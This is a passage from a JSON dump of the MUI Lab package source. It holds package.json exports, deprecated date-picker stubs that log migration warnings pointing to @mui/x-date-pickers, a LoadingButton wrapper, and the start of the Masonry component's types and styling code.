\"@types/react\": {\n      \"optional\": true\n    },\n    \"@emotion/react\": {\n      \"optional\": true\n    },\n    \"@emotion/styled\": {\n      \"optional\": true\n    },\n    \"@mui/material-pigment-css\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./LoadingButton\": \"./src/LoadingButton/index.js\",\n    \"./Masonry\": \"./src/Masonry/index.js\",\n    \"./TabContext\": \"./src/TabContext/index.js\",\n    \"./TabList\": \"./src/TabList/index.js\",\n    \"./TabPanel\": \"./src/TabPanel/index.js\",\n    \"./themeAugmentation\": \"./src/themeAugmentation/index.js\",\n    \"./TimelineConnector\": \"./src/TimelineConnector/index.js\",\n    \"./TimelineContent\": \"./src/TimelineContent/index.js\",\n    \"./TimelineDot\": \"./src/TimelineDot/index.js\",\n    \"./TimelineItem\": \"./src/TimelineItem/index.js\",\n    \"./TimelineOppositeContent\": \"./src/TimelineOppositeContent/index.js\",\n    \"./TimelineSeparator\": \"./src/TimelineSeparator/index.js\",\n    \"./useAutocomplete\": \"./src/useAutocomplete/index.js\",\n    \"./*\": \"./src/*/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterDateFns/AdapterDateFns.ts",
    "content": "let warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The AdapterDateFns class was moved from `@mui/lab` to `@mui/x-date-pickers`',\n        '',\n        \"You should use `import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\n/**\n * @deprecated The AdapterDateFns class was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n */\nexport default class AdapterDateFns {\n  constructor() {\n    warn();\n  }\n}\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterDateFns/index.ts",
    "content": "export { default } from './AdapterDateFns';\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterDayjs/AdapterDayjs.ts",
    "content": "let warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The AdapterDayjs class was moved from `@mui/lab` to `@mui/x-date-pickers`',\n        '',\n        \"You should use `import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\n/**\n * @deprecated The AdapterDayjs class was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n */\nexport default class AdapterDayjs {\n  constructor() {\n    warn();\n  }\n}\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterDayjs/index.ts",
    "content": "export { default } from './AdapterDayjs';\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterLuxon/AdapterLuxon.ts",
    "content": "let warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The AdapterLuxon class was moved from `@mui/lab` to `@mui/x-date-pickers`',\n        '',\n        \"You should use `import { AdapterLuxon } from '@mui/x-date-pickers/AdapterLuxon'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\n/**\n * @deprecated The AdapterLuxon class was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n */\nexport default class AdapterLuxon {\n  constructor() {\n    warn();\n  }\n}\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterLuxon/index.ts",
    "content": "export { default } from './AdapterLuxon';\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterMoment/AdapterMoment.ts",
    "content": "let warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The AdapterMoment class was moved from `@mui/lab` to `@mui/x-date-pickers`',\n        '',\n        \"You should use `import { AdapterMoment } from '@mui/x-date-pickers/AdapterMoment'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\n/**\n * @deprecated The AdapterMoment class was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n */\nexport default class AdapterMoment {\n  constructor() {\n    warn();\n  }\n}\n"
  },
  {
    "path": "packages/mui-lab/src/AdapterMoment/index.ts",
    "content": "export { default } from './AdapterMoment';\n"
  },
  {
    "path": "packages/mui-lab/src/AlertTitle/AlertTitle.test.js",
    "content": "describe('<AlertTitle />', () => {\n  it('To do', () => {});\n});\n"
  },
  {
    "path": "packages/mui-lab/src/CalendarPicker/CalendarPicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The CalendarPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { CalendarPicker } from '@mui/x-date-pickers'`\",\n        \"or `import { CalendarPicker } from '@mui/x-date-pickers/CalendarPicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype CalendarPickerComponent = (<TDate>(\n  props: CalendarPickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The CalendarPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst CalendarPicker = React.forwardRef(function DeprecatedCalendarPicker() {\n  warn();\n\n  return null;\n}) as CalendarPickerComponent;\n\nexport default CalendarPicker;\n\nexport const calendarPickerClasses = {};\n\nexport type CalendarPickerClassKey = any;\nexport type CalendarPickerClasses = any;\nexport type CalendarPickerProps<TDate> = Record<any, any>;\nexport type CalendarPickerView = 'year' | 'day' | 'month';\n"
  },
  {
    "path": "packages/mui-lab/src/CalendarPicker/index.ts",
    "content": "export { default } from './CalendarPicker';\nexport * from './CalendarPicker';\n"
  },
  {
    "path": "packages/mui-lab/src/CalendarPickerSkeleton/CalendarPickerSkeleton.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The CalendarPickerSkeleton component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { CalendarPickerSkeleton } from '@mui/x-date-pickers'`\",\n        \"or `import { CalendarPickerSkeleton } from '@mui/x-date-pickers/CalendarPickerSkeleton'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype CalendarPickerSkeletonComponent = ((\n  props: CalendarPickerSkeletonProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The CalendarPickerSkeleton component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst CalendarPickerSkeleton = React.forwardRef(function DeprecatedCalendarPickerSkeleton() {\n  warn();\n\n  return null;\n}) as CalendarPickerSkeletonComponent;\n\nexport default CalendarPickerSkeleton;\n\nexport const calendarPickerSkeletonClasses = {};\n\nexport const getCalendarPickerSkeletonUtilityClass = (slot: string): string => {\n  warn();\n  return '';\n};\n\nexport type CalendarPickerSkeletonProps = Record<any, any>;\nexport type CalendarPickerSkeletonClassKey = any;\n"
  },
  {
    "path": "packages/mui-lab/src/CalendarPickerSkeleton/index.ts",
    "content": "export { default } from './CalendarPickerSkeleton';\nexport * from './CalendarPickerSkeleton';\n"
  },
  {
    "path": "packages/mui-lab/src/ClockPicker/ClockPicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The ClockPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { ClockPicker } from '@mui/x-date-pickers'`\",\n        \"or `import { ClockPicker } from '@mui/x-date-pickers/ClockPicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype ClockPickerComponent = (<TDate>(\n  props: ClockPickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The ClockPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst ClockPicker = React.forwardRef(function DeprecatedClockPicker() {\n  warn();\n\n  return null;\n}) as ClockPickerComponent;\n\nexport default ClockPicker;\n\nexport const clockPickerClasses = {};\n\nexport type ClockPickerProps<TDate> = Record<any, any>;\nexport type ClockPickerView = 'hours' | 'minutes' | 'seconds';\nexport type ClockPickerClasses = any;\nexport type ClockPickerClassKey = any;\n"
  },
  {
    "path": "packages/mui-lab/src/ClockPicker/index.ts",
    "content": "export { default } from './ClockPicker';\nexport * from './ClockPicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DatePicker/DatePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { DatePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { DatePicker } from '@mui/x-date-pickers/DatePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DatePickerComponent = (<TDate>(\n  props: DatePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @ignore - do not document.\n */\nconst DatePicker = React.forwardRef(function DeprecatedDatePicker() {\n  warn();\n\n  return null;\n}) as DatePickerComponent;\n\nexport default DatePicker;\n\nexport type DatePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/DatePicker/index.ts",
    "content": "export { default } from './DatePicker';\nexport * from './DatePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DateRangePicker/DateRangePicker.ts",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`',\n        '',\n        \"You should use `import { DateRangePicker } from '@mui/x-date-pickers-pro'`\",\n        \"or `import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DateRangePickerComponent = (<TDate>(\n  props: DateRangePickerProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DateRangePicker = React.forwardRef(function DeprecatedDateRangePicker() {\n  warn();\n\n  return null;\n}) as DateRangePickerComponent;\n\nexport default DateRangePicker;\n\nexport type DateRangePickerProps = Record<any, any>;\nexport type DateRange<TDate> = [TDate | null, TDate | null];\n"
  },
  {
    "path": "packages/mui-lab/src/DateRangePicker/index.ts",
    "content": "export { default } from './DateRangePicker';\nexport * from './DateRangePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DateRangePickerDay/DateRangePickerDay.ts",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DateRangePickerDay component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`',\n        '',\n        \"You should use `import { DateRangePickerDay } from '@mui/x-date-pickers-pro'`\",\n        \"or `import { DateRangePickerDay } from '@mui/x-date-pickers-pro/DateRangePickerDay'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DateRangePickerDayComponent = (<TDate>(\n  props: DateRangePickerDayProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DateRangePickerDay component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DateRangePickerDay = React.forwardRef(function DeprecatedDateRangePickerDay() {\n  warn();\n\n  return null;\n}) as DateRangePickerDayComponent;\n\nexport default DateRangePickerDay;\n\nexport const getDateRangePickerDayUtilityClass = (slot: string): string => {\n  warn();\n  return '';\n};\n\nexport type DateRangePickerDayProps = Record<any, any>;\nexport type DateRangePickerDayClasses = any;\nexport type DateRangePickerDayClassKey = any;\n"
  },
  {
    "path": "packages/mui-lab/src/DateRangePickerDay/index.ts",
    "content": "export { default } from './DateRangePickerDay';\nexport * from './DateRangePickerDay';\n"
  },
  {
    "path": "packages/mui-lab/src/DateTimePicker/DateTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { DateTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DateTimePickerComponent = (<TDate>(\n  props: DateTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DateTimePicker = React.forwardRef(function DeprecatedDateTimePicker() {\n  warn();\n\n  return null;\n}) as DateTimePickerComponent;\n\nexport default DateTimePicker;\n\nexport type DateTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/DateTimePicker/index.ts",
    "content": "export { default } from './DateTimePicker';\nexport * from './DateTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopDatePicker/DesktopDatePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DesktopDatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { DesktopDatePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { DesktopDatePicker } from '@mui/x-date-pickers/DesktopDatePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DesktopDatePickerComponent = (<TDate>(\n  props: DesktopDatePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DesktopDatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DesktopDatePicker = React.forwardRef(function DeprecatedDesktopDatePicker<TDate>() {\n  warn();\n\n  return null;\n}) as DesktopDatePickerComponent;\n\nexport default DesktopDatePicker;\n\nexport type DesktopDatePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopDatePicker/index.ts",
    "content": "export { default } from './DesktopDatePicker';\nexport * from './DesktopDatePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopDateRangePicker/DesktopDateRangePicker.ts",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DesktopDateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`',\n        '',\n        \"You should use `import { DesktopDateRangePicker } from '@mui/x-date-pickers-pro'`\",\n        \"or `import { DesktopDateRangePicker } from '@mui/x-date-pickers-pro/DesktopDateRangePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DesktopDateRangePickerComponent = (<TDate>(\n  props: DesktopDateRangePickerProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DesktopDateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DesktopDateRangePicker = React.forwardRef(function DeprecatedDesktopDateRangePicker() {\n  warn();\n\n  return null;\n}) as DesktopDateRangePickerComponent;\n\nexport default DesktopDateRangePicker;\n\nexport type DesktopDateRangePickerProps = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopDateRangePicker/index.ts",
    "content": "export { default } from './DesktopDateRangePicker';\nexport * from './DesktopDateRangePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopDateTimePicker/DesktopDateTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DesktopDateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { DesktopDateTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { DesktopDateTimePicker } from '@mui/x-date-pickers/DesktopDateTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DesktopDateTimePickerComponent = (<TDate>(\n  props: DesktopDateTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DesktopDateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DesktopDateTimePicker = React.forwardRef(function DeprecatedDesktopDateTimePicker() {\n  warn();\n\n  return null;\n}) as DesktopDateTimePickerComponent;\n\nexport default DesktopDateTimePicker;\n\nexport type DesktopDateTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopDateTimePicker/index.ts",
    "content": "export { default } from './DesktopDateTimePicker';\nexport * from './DesktopDateTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopTimePicker/DesktopTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The DesktopTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { DesktopTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { DesktopTimePicker } from '@mui/x-date-pickers/DesktopTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype DesktopTimePickerComponent = (<TDate>(\n  props: DesktopTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The DesktopTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst DesktopTimePicker = React.forwardRef(function DeprecatedDesktopTimePicker() {\n  warn();\n\n  return null;\n}) as DesktopTimePickerComponent;\n\nexport default DesktopTimePicker;\n\nexport type DesktopTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/DesktopTimePicker/index.ts",
    "content": "export { default } from './DesktopTimePicker';\nexport * from './DesktopTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/LoadingButton/LoadingButton.d.ts",
    "content": "export { default } from '@mui/material/Button';\nexport * from '@mui/material/Button';\nexport {\n  ButtonProps as LoadingButtonProps,\n  ButtonClassKey as LoadingButtonClassKey,\n} from '@mui/material/Button';\n"
  },
  {
    "path": "packages/mui-lab/src/LoadingButton/LoadingButton.js",
    "content": "'use client';\nimport * as React from 'react';\nimport Button from '@mui/material/Button';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The LoadingButton component functionality is now part of the Button component from Material UI.',\n        '',\n        \"You should use `import Button from '@mui/material/Button'`\",\n        \"or `import { Button } from '@mui/material'`\",\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\n/**\n * @ignore - do not document.\n */\nexport default React.forwardRef(function DeprecatedLoadingButton(props, ref) {\n  warn();\n\n  return <Button ref={ref} {...props} />;\n});\n"
  },
  {
    "path": "packages/mui-lab/src/LoadingButton/index.d.ts",
    "content": "export { default } from './LoadingButton';\nexport * from './LoadingButton';\n"
  },
  {
    "path": "packages/mui-lab/src/LoadingButton/index.js",
    "content": "export { default } from './LoadingButton';\n"
  },
  {
    "path": "packages/mui-lab/src/LocalizationProvider/LocalizationProvider.tsx",
    "content": "'use client';\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The LocalizationProvider component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { LocalizationProvider } from '@mui/x-date-pickers'`\",\n        \"or `import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype LocalizationProviderComponent = ((\n  props: LocalizationProviderProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The LocalizationProvider component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst LocalizationProvider = React.forwardRef(function DeprecatedLocalizationProvider() {\n  warn();\n\n  return null;\n}) as LocalizationProviderComponent;\n\nexport default LocalizationProvider;\n\nexport type LocalizationProviderProps = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/LocalizationProvider/index.ts",
    "content": "export { default } from './LocalizationProvider';\nexport * from './LocalizationProvider';\n"
  },
  {
    "path": "packages/mui-lab/src/Masonry/Masonry.d.ts",
    "content": "import { ResponsiveStyleValue, SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '@mui/material/OverridableComponent';\nimport { Theme } from '@mui/material/styles';\nimport { MasonryClasses } from './masonryClasses';\n\nexport interface MasonryOwnProps {\n  /**\n   * The content of the component.\n   */\n  children: NonNullable<React.ReactNode>;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<MasonryClasses> | undefined;\n  /**\n   * Number of columns.\n   * @default 4\n   */\n  columns?: ResponsiveStyleValue<number | string> | undefined;\n  /**\n   * The default number of columns of the component. This is provided for server-side rendering.\n   */\n  defaultColumns?: number | undefined;\n  /**\n   * The default height of the component in px. This is provided for server-side rendering.\n   */\n  defaultHeight?: number | undefined;\n  /**\n   * The default spacing of the component. Like `spacing`, it is a factor of the theme's spacing. This is provided for server-side rendering.\n   */\n  defaultSpacing?: number | undefined;\n  /**\n   * Defines the space between children. It is a factor of the theme's spacing.\n   * @default 1\n   */\n  spacing?: ResponsiveStyleValue<number | string> | undefined;\n  /**\n   * Allows using sequential order rather than adding to shortest column\n   * @default false\n   */\n  sequential?: boolean | undefined;\n  /**\n   * Allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface MasonryTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & MasonryOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Masonry](https://next.mui.com/material-ui/react-masonry/)\n *\n * API:\n *\n * - [Masonry API](https://next.mui.com/material-ui/api/masonry/)\n */\ndeclare const Masonry: OverridableComponent<MasonryTypeMap>;\n\nexport type MasonryProps<\n  RootComponent extends React.ElementType = MasonryTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<MasonryTypeMap<AdditionalProps, RootComponent>, RootComponent>;\n\nexport default Masonry;\n"
  },
  {
    "path": "packages/mui-lab/src/Masonry/Masonry.js",
    "content": "'use client';\nimport composeClasses from '@mui/utils/composeClasses';\nimport * as ReactDOM from 'react-dom';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport {\n  createUnarySpacing,\n  getValue,\n  handleBreakpoints,\n  unstable_resolveBreakpointValues as resolveBreakpointValues,\n} from '@mui/system';\nimport useForkRef from '@mui/utils/useForkRef';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport deepmerge from '@mui/utils/deepmerge';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport { getMasonryUtilityClass } from './masonryClasses';\n\nexport const parseToNumber = (val) => {\n  return Number(val.replace('px', ''));\n};\n\nconst lineBreakStyle = {\n  flexBasis: '100%',\n  width: 0,\n  margin: 0,\n  padding: 0,\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getMasonryUtilityClass, classes);\n};\n\nexport const getStyle = ({ ownerState, theme }) => {\n  let styles = {\n    width: '100%',\n    display: 'flex',\n    flexFlow: 'column wrap',\n    alignContent: 'flex-start',\n    boxSizing: 'border-box',\n    '& > *': {\n      boxSizing: 'border-box',\n    },\n  };\n\n  const stylesSSR = {};\n  // Only applicable for Server-Side Rendering\n  if (ownerState.isSSR) {\n    const orderStyleSSR = {};\n    const defaultSpacing = parseToNumber(theme.spacing(ownerState.defaultSpacing));\n    for (let i = 1; i <= ownerState.defaultColumns; i += 1) {\n      orderStyleSSR[\n        `&:nth-of-type(${ownerState.defaultColumns}n+${i % ownerState.defaultColumns})`\n      ] = {\n        order: i,\n      };\n    }\n    stylesSSR.height = ownerState.defaultHeight;\n    stylesSSR.margin = -(defaultSpacing / 2);\n    stylesSSR['& > *'] = {\n      ...styles['& > *'],\n      ...orderStyleSSR,\n      margin: defaultSpacing / 2,\n      width: `calc(${(100 / ownerState.defaultColumns).toFixed(2)}% - ${defaultSpacing}px)`,\n    };\n\n    return {\n      ...styles,\n      ...stylesSSR,\n    };\n  }\n\n  const spacingValues = resolveBreakpointValues({\n    values: ownerState.spacing,\n    breakpoints: theme.breakpoints.values,\n  });\n\n  const transformer = createUnarySpacing(theme);\n  const spacingStyleFromPropValue = (propValue) => {\n    let spacing;\n    // in case of string/number value\n    if (\n      (typeof propValue === 'string' && !Number.isNaN(Number(propValue))) ||\n      typeof propValue === 'number'\n    ) {\n      const themeSpacingValue = Number(propValue);\n      spacing = getValue(transformer, themeSpacingValue);\n    } else {\n      spacing = propValue;\n    }\n\n    return {\n      margin: `calc(0px - (${spacing} / 2))`,\n     